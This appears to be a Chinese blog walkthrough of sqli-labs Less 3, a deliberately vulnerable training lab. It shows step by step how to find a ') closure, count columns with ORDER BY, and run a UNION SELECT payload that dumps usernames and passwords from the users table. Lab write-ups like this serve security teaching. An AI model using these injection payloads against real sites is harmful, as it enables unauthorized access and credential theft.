当前位置: 首页 > news >正文

sqli-labs靶场 less 3

文章目录

  • sqli-labs靶场
    • less 3 联合注入


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 3 联合注入

  • 题目类型: 字符型 ’ ) 闭合

id=1/0
如果是数字型,则报错,但是回显正常。说明是字符型

在这里插入图片描述

id=1" 回显正常,说明肯定不是双引号闭合

在这里插入图片描述

id=1’ id=1’ ’ id=1’ ’ ’ id=1’ ’ ’ ’ 呈规律性变化,说明是单引号闭合

在这里插入图片描述

id=1’–+
单引号加注释,有报错,说明不是简单的单引号闭合

在这里插入图片描述

id=1’1
查看报错信息,可以看到箭头指向的单引号是成对存在的,所以 ’ ) 是多余的,因此闭合方式是单引号加括号

在这里插入图片描述

id=1’) order by 4–+

在这里插入图片描述

id=1’) order by 3–+

在这里插入图片描述

这道题原理与less 1 一样,只不过是闭合方式是 ’ )
id=-1 ’ ) union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+
直接猜解数据

在这里插入图片描述


相关文章:

  • CF每日5题Day5(1400)
  • 使用firewall-cmd配置SIP端口转发,实现双网卡互通,内外网方式
  • npm i 出现的网络问题
  • Python Cookbook-4.13 获取字典的一个子集
  • 19.OpenCV图像二值化
  • 【Linux笔记】进程间通信——命名管道
  • 深度学习中的数据类型
  • 17-动规-最长增长子序列
  • leetcode90-子集II
  • 我的编程之旅:从零到无限可能
  • 剖析 Redis 缓存更新策略:保障数据一致性与系统性能的平衡
  • 光传输设备现状
  • 刷题日记day14-字符串-数组去重和排序
  • flutter 专题 七十四 Flutter开发之动画
  • 【Docker镜像】Python项目之使用Dockerfile构建镜像(二)
  • 在Trae中设置Python解释器版本
  • 从零实现3D自动标注:MS3D、MS3D++
  • Android 项目问题:The specified Android SDK Build Tools version (28.0.3) is ignored
  • 【SMBIOS数据块类型列表】
  • 精心整理-2024最新网络安全-信息安全全套资料(学习路线、教程笔记、工具软件、面试文档).zip
  • 国有六大行一季度合计净赚超3444亿,不良贷款余额均上升
  • 神十九飞船已撤离空间站,计划于今日中午返回东风着陆场
  • 企业取消“大小周”引热议,半月谈:不能将显性加班变为隐性加班
  • 庆祝中华全国总工会成立100周年暨全国劳动模范和先进工作者表彰大会隆重举行,习近平发表重要讲话
  • 全国电影工作会:聚焦扩大电影国际交流合作,提升全球影响力
  • 没有雷军的车展:老外扎堆,萌车、机器狗谁更抢镜?| 湃客Talk